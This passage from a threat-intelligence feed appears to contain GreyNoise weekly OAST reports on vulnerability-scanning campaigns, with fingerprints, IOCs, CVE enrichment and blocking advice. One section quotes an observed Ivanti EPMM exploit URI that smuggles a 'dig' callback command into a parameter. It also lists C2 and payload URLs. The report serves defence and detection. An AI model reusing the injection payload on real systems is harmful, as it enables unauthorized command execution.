<td>Viet Storage</td>
<td>65495/33280 (both MSS 65495)</td>
<td style="text-align: right;">741</td>
<td>Two Nuclei window variants</td>
</tr>
<tr class="even">
<td>179.43.146.42</td>
<td>Private Layer</td>
<td>32120 / 65495</td>
<td style="text-align: right;">153</td>
<td>Custom scanner + Nuclei</td>
</tr>
<tr class="odd">
<td>193.32.127.220</td>
<td>31173 Services</td>
<td>65495 / 65535 (MSS 1284)</td>
<td style="text-align: right;">21</td>
<td>Nuclei + deep proxy tool</td>
</tr>
<tr class="even">
<td>220.202.152.103</td>
<td>China Unicom</td>
<td>65495 / 64240 (MSS 1360)</td>
<td style="text-align: right;">4</td>
<td>Nuclei + tunnel tool</td>
</tr>
<tr class="odd">
<td>72.60.104.48</td>
<td>Hostinger</td>
<td>65495 / 64240 (MSS 1460)</td>
<td style="text-align: right;">2</td>
<td>Nuclei + standard Linux</td>
</tr>
</tbody>
</table>
<p>The pattern of Nuclei window variants (65495 + 33280) appearing together on the same IP is consistent across the top three scanners (OVH, Ghosty, Viet Storage). This likely reflects different Nuclei execution contexts or configuration variants rather than distinct tools.</p>
<p>Private Layer’s 179.43.146.42 continues to be the only IP pairing the unique window 32120 custom scanner with Nuclei, maintaining its distinctive multi-tool profile from previous weeks.</p>
</section>
<section id="censys-ja4t-comparison-host-vs.-oast-session" class="level4">
<h4 class="anchored" data-anchor-id="censys-ja4t-comparison-host-vs.-oast-session">Censys JA4T Comparison (Host vs.&nbsp;OAST Session)</h4>
<table class="caption-top table">
<colgroup>
<col style="width: 5%">
<col style="width: 27%">
<col style="width: 30%">
<col style="width: 11%">
<col style="width: 23%">
</colgroup>
<thead>
<tr class="header">
<th>IP</th>
<th>Censys JA4T (host)</th>
<th>OAST JA4T (scanner)</th>
<th>Match?</th>
<th>Interpretation</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>179.43.146.42</td>
<td><code>31856_2-4-8-1-3_1460_7</code></td>
<td><code>32120_2-4-8-1-3_1460_7</code></td>
<td>No</td>
<td>Custom TCP stack on scanner (window 32120 vs 31856)</td>
</tr>
<tr class="even">
<td>216.105.164.20</td>
<td><code>42340_2-1-1-4-1-3_1460_7</code></td>
<td><code>42340_2-1-1-4-1-3_1460_7</code></td>
<td>Yes</td>
<td>VPN node, scanner runs through it</td>
</tr>
<tr class="odd">
<td>46.151.182.62</td>
<td><code>65504_2-4-8-1-3_1436_7</code></td>
<td><code>65495_2-4-8-1-3_65495_7</code></td>
<td>No</td>
<td>Host=standard, scanner=Nuclei loopback</td>
</tr>
<tr class="even">
<td>80.87.206.76</td>
<td><code>65160_2-4-8-1-3_1460_7</code></td>
<td><code>65495_2-4-8-1-3_65495_7</code></td>
<td>No</td>
<td>Host=standard, scanner=Nuclei loopback</td>
</tr>
<tr class="odd">
<td>125.133.193.135</td>
<td><code>65535_2-1-3-4-8_1460_8</code></td>
<td><code>64240_2-4-8-1-3_1460_10</code></td>
<td>No</td>
<td>Both non-standard but different; VPN artifact on both</td>
</tr>
<tr class="even">
<td>45.61.131.28</td>
<td>No services visible</td>
<td><code>64240_2-4-8-1-3_1460_7</code></td>
<td>N/A</td>
<td>No Censys baseline (bulletproof, zero ports)</td>
</tr>
</tbody>
</table>
<p>The Censys-vs-OAST comparison is particularly useful for 179.43.146.42 (Private Layer): Censys sees the host’s native window (31856), while OAST sessions show 32120 – confirming the scanning tool modifies the TCP window at the application level.</p>
</section>
</section>
<section id="threat-intelligence-enrichment" class="level3">
<h3 class="anchored" data-anchor-id="threat-intelligence-enrichment">Threat Intelligence Enrichment</h3>
<p>External intelligence from VirusTotal, Censys, and Feedly Threat Graph was layered onto eight priority IPs. Full enrichment details are in <code>threat-intelligence-enrichment.md</code>.</p>
<p><strong>Key enrichment findings:</strong></p>
<ul>
<li><strong>Two Censys-confirmed bulletproof hosting providers</strong>: Private Layer (179.43.146.42) and RouterHosting/Cloudzy/FranTech (45.61.131.28), both labeled BULLETPROOF with 0.75 confidence</li>
<li><strong>Russian attribution through French hosting</strong>: 80.87.206.76 registered to Alliance LLC, Moscow via OVH; forward DNS <code>ir6k1.2monkeyd.online</code>; Gmail abuse contact</li>
<li><strong>Commercial VPN identification</strong>: 216.105.164.20 confirmed as AnchorFree/Hotspot Shield VPN exit node via Hydra Authentication certificate chain</li>
<li><strong>Compromised gaming server indicator</strong>: 46.151.182.62 runs Valve/Source Engine protocol alongside scanning tools</li>
<li><strong>Expanding CVE toolkit on bulletproof infrastructure</strong>: 179.43.146.42 added CVE-2026-0770 (Langflow RCE) to its exploitation portfolio this week</li>
</ul>
<p><strong>CVE Intelligence (Feedly Threat Graph):</strong></p>
<table class="caption-top table">
<colgroup>
<col style="width: 8%">
<col style="width: 15%">
<col style="width: 10%">
<col style="width: 8%">
<col style="width: 12%">
<col style="width: 26%">
<col style="width: 17%">
</colgroup>
<thead>
<tr class="header">
<th>CVE</th>
<th>Product</th>
<th style="text-align: right;">CVSS</th>
<th>PoC</th>
<th>Patch</th>
<th>Threat Actors</th>
<th>OAST IPs</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>CVE-2026-1731</td>
<td>BeyondTrust RS/PRA</td>
<td style="text-align: right;">9.8</td>
<td>Yes (GitHub)</td>
<td>Yes (BT26-02)</td>
<td>HAFNIUM</td>
<td>125.133.193.135, 179.43.146.42</td>
</tr>
<tr class="even">
<td>CVE-2026-0770</td>
<td>Langflow</td>
<td style="text-align: right;">9.8</td>
<td>Yes (GitHub)</td>
<td>No</td>
<td>–</td>
<td>179.43.146.42</td>
</tr>
<tr class="odd">
<td>CVE-2026-23760</td>
<td>SmarterMail</td>
<td style="text-align: right;">9.3</td>
<td>Yes (Telegram)</td>
<td>Yes (Build 9511)</td>
<td>–</td>
<td>125.133.193.135</td>
</tr>
</tbody>
</table>
<p>CVE-2026-1731 (BeyondTrust) is associated with HAFNIUM and linked to Lumma Stealer, SparkRAT, and VShell malware deployments. CVE-2026-0770 (Langflow) has no vendor patch and targets AI/LLM orchestration infrastructure. CVE-2026-23760 (SmarterMail) exploits were shared on underground Telegram channels within days of disclosure, with confirmed ransomware campaign usage.</p>
</section>
<section id="attribution-assessment" class="level3">
<h3 class="anchored" data-anchor-id="attribution-assessment">Attribution Assessment</h3>
<p><strong>Confidence: Medium</strong></p>
<p>This week’s single-IP campaign structure simplifies per-IP attribution but makes cross-campaign coordination harder to establish.</p>
<p><strong>What we know:</strong></p>
<ul>
<li>Every campaign maps to exactly one IP – no shared infrastructure across campaigns this week</li>
<li>Six IPs run multiple campaigns (sequential tool runs, not coordinated operations)</li>
<li>The <code>*jgo7</code> campaign pattern (OVH/Alliance LLC) indicates automated sequential execution</li>
<li>Private Layer 179.43.146.42 maintains the unique window 32120 fingerprint from previous weeks, confirming operational continuity</li>
<li>45.61.130.7 and 45.61.131.28 share the same /22 network (RouterHosting) but run different campaigns</li>
</ul>
<p><strong>What we infer:</strong></p>
<ul>
<li>The single-IP pattern may reflect a shift away from distributed scanning operations, or simply different operators this week</li>
<li>The AnchorFree VPN exit node (216.105.164.20) conceals the true origin of the scanner behind it</li>
<li>Alliance LLC Moscow registering through OVH France represents deliberate jurisdictional arbitrage</li>
<li>The Ghosty Networks gaming server (UDP 27015) may be compromised rather than purpose-built scanning infrastructure</li>
</ul>
</section>
<section id="network-iocs" class="level3">
<h3 class="anchored" data-anchor-id="network-iocs">Network IOCs</h3>
<p><strong>Primary IPs (by session count):</strong></p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>IP</th>
<th>ASN</th>
<th>Country</th>
<th style="text-align: right;">Sessions</th>
<th>Priority</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>80.87.206.76</td>
<td>AS16276 (OVH/Alliance LLC Moscow)</td>
<td>FR</td>
<td style="text-align: right;">941</td>
<td>HIGH</td>
</tr>
<tr class="even">
<td>46.151.182.62</td>
<td>AS205759 (Ghosty Networks)</td>
<td>LU</td>
<td style="text-align: right;">746</td>
<td>HIGH</td>
</tr>
<tr class="odd">
<td>103.144.87.192</td>
<td>AS135932 (Viet Storage)</td>
<td>VN</td>
<td style="text-align: right;">741</td>
<td>HIGH</td>
</tr>
<tr class="even">
<td>45.61.131.28</td>
<td>AS14956 (RouterHosting/Cloudzy)</td>
<td>US</td>
<td style="text-align: right;">350</td>
<td>HIGH</td>
</tr>
<tr class="odd">
<td>125.133.193.135</td>
<td>AS4766 (Korea Telecom)</td>
<td>KR</td>
<td style="text-align: right;">333</td>
<td>MEDIUM</td>
</tr>
<tr class="even">
<td>207.148.20.225</td>
<td>AS20473 (Vultr)</td>
<td>US</td>
<td style="text-align: right;">317</td>
<td>MEDIUM</td>
</tr>
<tr class="odd">
<td>216.105.164.20</td>
<td>AS9009 (M247/AnchorFree VPN)</td>
<td>US</td>
<td style="text-align: right;">293</td>
<td>LOW</td>
</tr>
<tr class="even">
<td>179.43.146.42</td>
<td>AS51852 (Private Layer)</td>
<td>CH</td>
<td style="text-align: right;">175</td>
<td>CRITICAL</td>
</tr>
</tbody>
</table>
<p><strong>OAST Domains/Provider:</strong></p>
<ul>
<li>All 33 campaigns use Interactsh</li>
<li>5,560 unique callback domains observed</li>
<li>Domains distributed across <code>oast.pro</code>, <code>oast.live</code>, <code>oast.fun</code>, <code>oast.me</code>, <code>oast.site</code> variants</li>
</ul>
<p><strong>JA4T Fingerprints for Detection:</strong></p>
<ul>
<li><code>32120_2-4-8-1-3_1460_7</code> – Private Layer unique window (single-actor tracking)</li>
<li><code>42340_2-1-1-4-1-3_1460_7</code> – AnchorFree VPN infrastructure</li>
<li><code>65495_2-4-8-1-3_65495_7</code> – Nuclei/loopback primary (broadest coverage: 12 IPs)</li>
<li><code>33280_2-4-8-1-3_65495_7</code> – Nuclei variant (3 IPs)</li>
<li><code>65535_2-1-3-1-1-8-4-0_1284_6</code> – Deep proxy chain (new fingerprint)</li>
<li><code>64240_2-4-8-1-3_1460_10</code> – Unusual TTL 10 (Korea Telecom)</li>
</ul>
<p><strong>Domain/Certificate IOCs:</strong></p>
<ul>
<li><code>aliyundunupdate.xyz</code> (typosquat of Alibaba Cloud security)</li>
<li><code>dns.nullsproxy.com</code> (Private Layer cert)</li>
<li><code>ir6k1.2monkeyd.online</code> (Alliance LLC Moscow forward DNS)</li>
<li><code>mchcz.com</code> (RouterHosting historical resolution)</li>
<li>AnchorFree Hydra Authentication RSA SubCA (commercial VPN indicator)</li>
<li>Proxmox VE cert with misspelled “promox.d” (Korea Telecom)</li>
</ul>
<p><strong>JARM Hashes:</strong></p>
<ul>
<li><code>2ad2ad0002ad2ad00042d42d0000005d86ccb1a0567e012264097a0315d7a7</code> – Private Layer</li>
<li><code>2ad2ad0002ad2ad0002ad2ad2ad2ada14bf7dda7990c918ac83e6dc5fe2b8f</code> – AnchorFree VPN</li>
</ul>
</section>
<section id="detection-recommendations" class="level3">
<h3 class="anchored" data-anchor-id="detection-recommendations">Detection Recommendations</h3>
<ol type="1">
<li><p><strong>Block 179.43.146.42</strong> (Private Layer bulletproof) and associated domain <code>aliyundunupdate.xyz</code>. This IP maintains active C2 infrastructure with expanding CVE exploitation including unpatched Langflow RCE.</p></li>
<li><p><strong>Block 45.61.131.28 and 45.61.130.7</strong> (RouterHosting/Cloudzy/FranTech). Censys-confirmed bulletproof hosting with Cloudzy abuse contact. Zero exposed services = purpose-built scanning infrastructure.</p></li>
<li><p><strong>Block or alert on 80.87.206.76</strong> (Alliance LLC Moscow via OVH). Russian-registered entity with 3-year scanning history and ProxyLogon focus.</p></li>
<li><p><strong>Monitor the JA4T fingerprint <code>32120_2-4-8-1-3_1460_7</code></strong> across all sensors. This unique TCP window tracks a single actor across the Private Layer IP and now also 109.236.50.39 (LeaseWeb Netherlands) – potential infrastructure expansion.</p></li>
<li><p><strong>Alert on <code>aliyundunupdate.xyz:8084/slt</code></strong> as an active C2 endpoint, and <code>179.43.146.42/x</code> as a potential payload download URL.</p></li>
<li><p><strong>Prioritize patching for CVE-2026-0770 (Langflow)</strong> – no vendor patch available, public PoC since Feb 8, confirmed exploitation in the wild.</p></li>
<li><p><strong>Consider VPN exit node policies</strong> for 216.105.164.20 (AnchorFree/Hotspot Shield). This is commercial VPN infrastructure, not dedicated attack infra, but scanners actively use it for anonymization.</p></li>
<li><p><strong>Alert on MCP and SSE endpoint scanning</strong> (7 occurrences, 3 IPs) – emerging attack surface targeting AI/LLM infrastructure.</p></li>
</ol>
</section>
<section id="gnql-queries" class="level3">
<h3 class="anchored" data-anchor-id="gnql-queries">GNQL Queries</h3>
<pre><code>tags:"Contains Well-known Out-of-band Interaction Domain" last_seen:7d</code></pre>
<pre><code>metadata.asn:AS51852 last_seen:7d classification:malicious</code></pre>
<pre><code>metadata.asn:AS14956 last_seen:7d classification:malicious</code></pre>
<pre><code>cve:CVE-2026-0770 last_seen:7d</code></pre>
<pre><code>cve:CVE-2026-1731 last_seen:30d</code></pre>
<pre><code>ip:179.43.146.42 OR ip:45.61.131.28 OR ip:80.87.206.76 OR ip:46.151.182.62</code></pre>
</section>
<section id="week-over-week-comparison" class="level3">
<h3 class="anchored" data-anchor-id="week-over-week-comparison">Week-over-Week Comparison</h3>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Metric</th>
<th style="text-align: right;">Feb 7-13</th>
<th style="text-align: right;">Feb 14-20</th>
<th style="text-align: right;">Change</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Sessions</td>
<td style="text-align: right;">6,197</td>
<td style="text-align: right;">3,882</td>
<td style="text-align: right;">-37.4%</td>
</tr>
<tr class="even">
<td>Unique IPs</td>
<td style="text-align: right;">79</td>
<td style="text-align: right;">24</td>
<td style="text-align: right;">-69.6%</td>
</tr>
<tr class="odd">
<td>OAST Domains</td>
<td style="text-align: right;">7,691</td>
<td style="text-align: right;">5,560</td>
<td style="text-align: right;">-27.7%</td>
</tr>
<tr class="even">
<td>Campaigns</td>
<td style="text-align: right;">73</td>
<td style="text-align: right;">33</td>
<td style="text-align: right;">-54.8%</td>
</tr>
<tr class="odd">
<td>Decode Rate</td>
<td style="text-align: right;">100%</td>
<td style="text-align: right;">100%</td>
<td style="text-align: right;">–</td>
</tr>
<tr class="even">
<td>Nuclei Sessions</td>
<td style="text-align: right;">1,276</td>
<td style="text-align: right;">2,547</td>
<td style="text-align: right;">+99.6%</td>
</tr>
<tr class="odd">
<td>Bulletproof IPs</td>
<td style="text-align: right;">2</td>
<td style="text-align: right;">2</td>
<td style="text-align: right;">–</td>
</tr>
</tbody>
</table>
<p>Session volume declined by 37.4% and unique IPs by 69.6%, but Nuclei-based scanning nearly doubled. The concentration into fewer, higher-volume single-IP operations contrasts with the previous week’s distributed multi-IP campaigns. The Cloudflare-proxied cluster that dominated last week (2,973 sessions) is absent this week, accounting for the bulk of the IP count decline.</p>
<p><strong>Continuing actors:</strong> Private Layer (179.43.146.42), Viet Storage (103.144.87.192), AS215540 (now 185.138.89.4 replacing 46.29.235.157).</p>
<p><strong>No longer observed:</strong> PROSPERO OOO (193.24.123.42), Oracle Cloud Brazil (204.216.147.144), Cloudflare proxy cluster.</p>
<p><strong>New actors:</strong> Ghosty Networks (46.151.182.62), RouterHosting/Cloudzy (45.61.131.28), AnchorFree VPN (216.105.164.20), Alliance LLC Moscow via OVH (80.87.206.76).</p>


</section>
</section>

 ]]></description>
  <category>OAST</category>
  <category>MCP</category>
  <category>projectdiscovery</category>
  <category>interactsh</category>
  <category>rce</category>
  <category>iocs</category>
  <category>detection engineering</category>
  <category>cybersecurity</category>
  <category>AI-Generated</category>
  <guid>https://www.labs.greynoise.io/grimoire/2026-02-20-weekly-oast-report/</guid>
  <pubDate>Sun, 22 Feb 2026 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2026-02-20-weekly-oast-report/media/cover.png" medium="image" type="image/png" height="116" width="144"/>
</item>
<item>
  <title>GreyNoise Labs Weekly OAST (Well-known Out-of-band Interaction Domains) Report • Week Ending 2026-02-13</title>
  <dc:creator>🔮Orbie✨ </dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2026-02-13-weekly-oast-report/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<section id="overview" class="level2">
<h2 class="anchored" data-anchor-id="overview">Overview</h2>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-02-13-weekly-oast-report/media/campaigns.png" class="img-fluid"></p>
<p>OAST domains appeared across multiple HTTP fields: request bodies (4,331 occurrences, 52.8%), URI paths (1,709, 20.8%), request header values (1,272, 15.5%), URL paths (392, 4.8%), cookies (383, 4.7%), and user-agent strings (122, 1.5%). The distribution across multiple injection vectors indicates automated vulnerability scanning toolkits that embed callback domains into every exploitable parameter.</p>
<p>Five Interactsh domain variants were observed: <code>oast.pro</code> (4,182 occurrences across 22 campaigns), <code>oast.live</code> (1,970, 21 campaigns), <code>oast.fun</code> (857, 16 campaigns), <code>oast.me</code> (767, 11 campaigns), and <code>oast.site</code> (433, 13 campaigns). All domains used the standard Interactsh encoding format with campaign, machine_id, PID, and nonce fields.</p>
<p>JA4T TCP fingerprint analysis (sourced from raw session data) identified three dominant infrastructure clusters: a Cloudflare proxy signature (MSS 1380, 2,973 sessions), a standard Linux stack (MSS 1460, 1,124 sessions), and an anomalous localhost-like signature (MSS 65495, 1,276 sessions across two window size variants) characteristic of Nuclei and similar scanning frameworks.</p>
<blockquote class="blockquote">
<p>NOTE: This edition contains a supplemental deep-dive into selected OAST infrastructure components section.</p>
</blockquote>
<section id="temporal-analysis" class="level3">
<h3 class="anchored" data-anchor-id="temporal-analysis">Temporal Analysis</h3>
<p>Activity peaked during the first two days of the observation window, then declined:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Day</th>
<th style="text-align: right;">OAST Count</th>
<th style="text-align: right;">Sessions</th>
<th style="text-align: right;">Unique IPs</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Feb 7</td>
<td style="text-align: right;">2,757</td>
<td style="text-align: right;">2,233</td>
<td style="text-align: right;">18</td>
</tr>
<tr class="even">
<td>Feb 8</td>
<td style="text-align: right;">2,045</td>
<td style="text-align: right;">1,765</td>
<td style="text-align: right;">20</td>
</tr>
<tr class="odd">
<td>Feb 9</td>
<td style="text-align: right;">566</td>
<td style="text-align: right;">373</td>
<td style="text-align: right;">16</td>
</tr>
<tr class="even">
<td>Feb 10</td>
<td style="text-align: right;">1,016</td>
<td style="text-align: right;">562</td>
<td style="text-align: right;">37</td>
</tr>
<tr class="odd">
<td>Feb 11</td>
<td style="text-align: right;">1,011</td>
<td style="text-align: right;">781</td>
<td style="text-align: right;">16</td>
</tr>
<tr class="even">
<td>Feb 12</td>
<td style="text-align: right;">553</td>
<td style="text-align: right;">362</td>
<td style="text-align: right;">6</td>
</tr>
<tr class="odd">
<td>Feb 13</td>
<td style="text-align: right;">261</td>
<td style="text-align: right;">121</td>
<td style="text-align: right;">11</td>
</tr>
</tbody>
</table>
<p>The Feb 7-8 peak corresponds to the dominant <code>ibe4q</code> campaign (Cloudflare-proxied infrastructure). February 10 saw a spike in unique IPs (37) despite moderate session volume, indicating new scanner infrastructure rotating in. Burst analysis identified concentrated activity windows at Feb 8 16:00-17:00 UTC (330+323 sessions) and Feb 11 20:00 UTC (258 sessions), both associated with Oracle Cloud-based scanning.</p>
</section>
<section id="campaign-analysis" class="level3">
<h3 class="anchored" data-anchor-id="campaign-analysis">Campaign Analysis</h3>
<p>The 73 campaigns cluster into distinct operational groups based on infrastructure, timing, and payload overlap.</p>
<section id="campaign-group-1-cloudflare-proxied-scanning-ibe4q-bjibe" class="level4">
<h4 class="anchored" data-anchor-id="campaign-group-1-cloudflare-proxied-scanning-ibe4q-bjibe">Campaign Group 1: Cloudflare-Proxied Scanning (<code>ibe4q</code>, <code>bjibe</code>)</h4>
<p>The largest campaign cluster, <code>ibe4q</code>, generated 3,157 OAST domain occurrences across 2,759 sessions from 9 Cloudflare-proxied IPs (AS13335), all geolocated to Brazil. Activity ran from Feb 7 00:00 UTC through Feb 9 05:35 UTC. A related campaign <code>bjibe</code> (238 occurrences, 202 sessions, 8 IPs) operated concurrently from Feb 7-8. Both campaigns share the same machine_id and use all six OAST injection vectors (requestBody, uri, path, requestCookie, requestHeaderValue, useragent), indicating a comprehensive vulnerability scanning toolkit.</p>
<p>Top IPs: 104.28.193.87 (1,158 sessions), 104.28.193.83 (418), 104.28.193.82 (379), 104.28.193.84 (277), 104.28.225.85 (262).</p>
<p>JA4T fingerprint: <code>65535_2-4-8-1-3_1380_13</code> (uniform across all 9 IPs). The MSS 1380 confirms Cloudflare tunnel/proxy traversal. The Cloudflare proxy masks the true origin infrastructure. The Brazilian geolocation likely reflects Cloudflare edge selection rather than attacker location.</p>
</section>
<section id="campaign-group-2-oracle-cloud-multi-campaign-scanners" class="level4">
<h4 class="anchored" data-anchor-id="campaign-group-2-oracle-cloud-multi-campaign-scanners">Campaign Group 2: Oracle Cloud Multi-Campaign Scanners</h4>
<p>Four Oracle Corporation IPs (AS31898) operated across 13 campaigns with 1,243 total sessions:</p>
<table class="caption-top table">
<colgroup>
<col style="width: 8%">
<col style="width: 18%">
<col style="width: 22%">
<col style="width: 20%">
<col style="width: 30%">
</colgroup>
<thead>
<tr class="header">
<th>IP</th>
<th>Country</th>
<th style="text-align: right;">Campaigns</th>
<th style="text-align: right;">Sessions</th>
<th>Active Period</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>204.216.147.144</td>
<td>Brazil</td>
<td style="text-align: right;">5 (37d6c, b7d6c, fhr7d, j7d6c, r7d6c)</td>
<td style="text-align: right;">591</td>
<td>Feb 8-11</td>
</tr>
<tr class="even">
<td>147.224.178.225</td>
<td>United States</td>
<td style="text-align: right;">4 (3fk04, gt3fk, jfk04, rfk04)</td>
<td style="text-align: right;">365</td>
<td>Feb 10-11</td>
</tr>
<tr class="odd">
<td>168.107.59.85</td>
<td>South Korea</td>
<td style="text-align: right;">1 (c9ndh)</td>
<td style="text-align: right;">198</td>
<td>Feb 12</td>
</tr>
<tr class="even">
<td>144.24.88.37</td>
<td>South Korea</td>
<td style="text-align: right;">3 (3grt7, 3t7nn, rt7nn)</td>
<td style="text-align: right;">89</td>
<td>Feb 8-10</td>
</tr>
</tbody>
</table>
<p>GreyNoise first observed 204.216.147.144 on 2024-09-10 (35,367 total hits across 8 sensors), indicating established scanning infrastructure. IP 147.224.178.225 first appeared 2026-02-01 (23,109 hits, 10 sensors) and carries GreyNoise tags for both CVE-2026-1281 (Ivanti EPMM) and CVE-2026-0770. All Oracle IPs used <code>path</code>, <code>requestBody</code>, <code>requestCookie</code>, <code>requestHeaderValue</code>, and <code>uri</code> injection vectors – the broadest payload diversity observed.</p>
<p>JA4T fingerprint: Primarily <code>64240_2-4-8-1-3_1460_7</code> (standard Linux), consistent across 204.216.147.144, 168.107.59.85, and 144.24.88.37. However, 147.224.178.225 uses <em>both</em> the standard Linux fingerprint (132 sessions) and the Nuclei/loopback fingerprint <code>65495_2-4-8-1-3_65495_7</code> (233 sessions), indicating dual-tool deployment – possibly a standard scanner plus Nuclei on the same host.</p>
</section>
<section id="campaign-group-3-private-layer-switzerland-7gveu" class="level4">
<h4 class="anchored" data-anchor-id="campaign-group-3-private-layer-switzerland-7gveu">Campaign Group 3: Private Layer / Switzerland (<code>7gveu</code>)</h4>
<p>A single IP, 179.43.146.42 (AS51852, Private Layer INC, Switzerland), generated 511 OAST domains across 456 sessions in campaign <code>7gveu</code>, active throughout the entire observation window (Feb 7-13). GreyNoise first observed this IP on 2026-02-03 (43,110 hits across 38 sensors). The sustained, continuous scanning pattern across 7 days suggests automated, unattended operation. All six injection vectors were used.</p>
<p>JA4T fingerprint: Primarily <code>32120_2-4-8-1-3_1460_7</code> (350 sessions) – a non-standard TCP window size of 32120 that serves as a strong single-actor indicator. This IP also exhibited <code>65495_2-4-8-1-3_65495_7</code> (106 sessions), indicating it runs Nuclei alongside a custom scanning tool with a distinctive TCP stack.</p>
</section>
<section id="campaign-group-4-prospero-ooo-ivanti-epmm-exploitation-f984d-il84d-ito4d-fbg4d" class="level4">
<h4 class="anchored" data-anchor-id="campaign-group-4-prospero-ooo-ivanti-epmm-exploitation-f984d-il84d-ito4d-fbg4d">Campaign Group 4: PROSPERO OOO / Ivanti EPMM Exploitation (<code>f984d</code>, <code>il84d</code>, <code>ito4d</code>, <code>fbg4d</code>)</h4>
<p>IP 193.24.123.42 (AS200593, PROSPERO OOO, Russia) operated 4 campaigns with 169 sessions between Feb 7-8. This IP stands out for exclusive exploitation of CVE-2026-1281 (Ivanti Endpoint Manager Mobile Code Injection). URI analysis reveals a specific exploit pattern targeting the Ivanti EPMM app store endpoint:</p>
<pre><code>/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue,et=1770526185,
h=gPath[`dig &lt;OAST_DOMAIN&gt; &gt; /dev/null`]/39IUqFPJtv5RscnibeX4OUpsHTa.ipa</code></pre>
<p>The payload injects a <code>dig</code> command via the <code>gPath</code> parameter to trigger DNS callbacks to OAST domains, confirming command execution. Target IPs in the 38.48.0.0/24 range (GreyNoise sensor space) were systematically enumerated. OAST domains were found only in <code>path</code> and <code>uri</code> fields, consistent with this specific exploit vector.</p>
<p>JA4T fingerprint: <code>65495_2-4-8-1-3_65495_7</code> (166 sessions) with a secondary <code>33280_2-4-8-1-3_65495_7</code> (3 sessions). The MSS 65495 confirms Nuclei-based tooling, consistent with the Interactsh OAST integration.</p>
<p>GreyNoise has tracked this IP since 2025-06-12 (147,752 total hits across 2,770 sensors). One additional IP, from AS215730, also triggered the CVE-2026-1281 tag via campaign <code>hag80</code>.</p>
</section>
<section id="campaign-group-5-as215540-gcs-llp-ka1vu-geka1" class="level4">
<h4 class="anchored" data-anchor-id="campaign-group-5-as215540-gcs-llp-ka1vu-geka1">Campaign Group 5: AS215540 / GCS LLP (<code>ka1vu</code>, <code>geka1</code>)</h4>
<p>IP 46.29.235.157 (AS215540, GLOBAL CONNECTIVITY SOLUTIONS LLP, Netherlands) ran 2 campaigns with 287 sessions between Feb 8-9. GreyNoise first observed this IP on 2026-02-08 (9,881 hits, 6 sensors) – appearing in GreyNoise records at the same time as this observation window. The IP shares JA3 fingerprint <code>11a384388ad36777e1a2e121495037fe</code> with two other IPs (45.138.101.232 and 37.60.230.90), suggesting common scanning tooling.</p>
<p>JA4T analysis reveals three distinct TCP fingerprints from this single IP: <code>64240_2-1-3-1-1-4_1400_8</code> (165 sessions, primary), <code>65495_2-4-8-1-3_65495_7</code> (69 sessions), and <code>33280_2-4-8-1-3_65495_7</code> (25 sessions). The primary fingerprint uses non-standard TCP option ordering (<code>2-1-3-1-1-4</code> vs the Linux default <code>2-4-8-1-3</code>) and MSS 1400, consistent with a VPN or WireGuard tunnel. The two secondary fingerprints (MSS 65495) indicate concurrent Nuclei deployment. This IP runs at least two distinct scanning tools through different network paths.</p>
</section>
<section id="campaign-group-6-vietnamese-infrastructure-p7a5r-97a5r-mt4kp" class="level4">
<h4 class="anchored" data-anchor-id="campaign-group-6-vietnamese-infrastructure-p7a5r-97a5r-mt4kp">Campaign Group 6: Vietnamese Infrastructure (<code>p7a5r</code>, <code>97a5r</code>, <code>mt4kp</code>)</h4>
<p>Two Vietnamese hosting providers contributed 375 sessions:</p>
<ul>
<li>103.144.87.192 (AS135932, Viet Storage): campaigns <code>p7a5r</code> and <code>97a5r</code>, 264 sessions, Feb 9-13. Generated 1,177 unique OAST domains across only 264 sessions – the highest domain-to-session ratio observed, indicating payload reuse or multi-vector injection per session.</li>
<li>103.252.93.81 (AS135918, Viet Digital): campaign <code>mt4kp</code>, 111 sessions, Feb 9-10. OAST domains embedded exclusively in <code>requestBody</code>, consistent with Log4j/deserialization-focused exploitation.</li>
</ul>
</section>
<section id="campaign-group-7-estonian-infrastructure-asgsb" class="level4">
<h4 class="anchored" data-anchor-id="campaign-group-7-estonian-infrastructure-asgsb">Campaign Group 7: Estonian Infrastructure (<code>asgsb</code>)</h4>
<p>IP 45.138.101.232 (AS41745, Baykov Ilya Sergeevich, Estonia) ran campaign <code>asgsb</code> with 130 sessions on Feb 11. GreyNoise first observed this IP on 2026-02-11 (10,524 hits, 6 sensors) – brand new infrastructure. Shares the JA3 fingerprint with the AS215540 and Contabo IPs.</p>
<p>JA4T fingerprint: <code>64860_2-4-8-1-3_1380_7</code>. The MSS 1380 matches the Cloudflare cluster’s tunnel signature, but the window size (64860) and TTL (7) differ from Cloudflare’s <code>65535..13</code>. This suggests a different tunnel provider or VPN with similar MTU constraints. The unique JA4T, combined with the shared JA3, indicates the same TLS-layer scanner tool deployed behind a different network tunnel than the AS215540 and Contabo nodes.</p>
</section>
</section>
<section id="payload-analysis" class="level3">
<h3 class="anchored" data-anchor-id="payload-analysis">Payload Analysis</h3>
<p>GreyNoise tags identified 100+ distinct CVE exploitation techniques across the session data. The top exploitation categories:</p>
<table class="caption-top table">
<colgroup>
<col style="width: 25%">
<col style="width: 12%">
<col style="width: 32%">
<col style="width: 30%">
</colgroup>
<thead>
<tr class="header">
<th>Category</th>
<th>Tag</th>
<th style="text-align: right;">Occurrences</th>
<th style="text-align: right;">Unique IPs</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Log4j RCE</td>
<td>Apache Log4j RCE Attempt</td>
<td style="text-align: right;">2,131</td>
<td style="text-align: right;">26</td>
</tr>
<tr class="even">
<td>Linux Command Injection</td>
<td>Generic Suspicious Linux Command in Request</td>
<td style="text-align: right;">1,703</td>
<td style="text-align: right;">54</td>
</tr>
<tr class="odd">
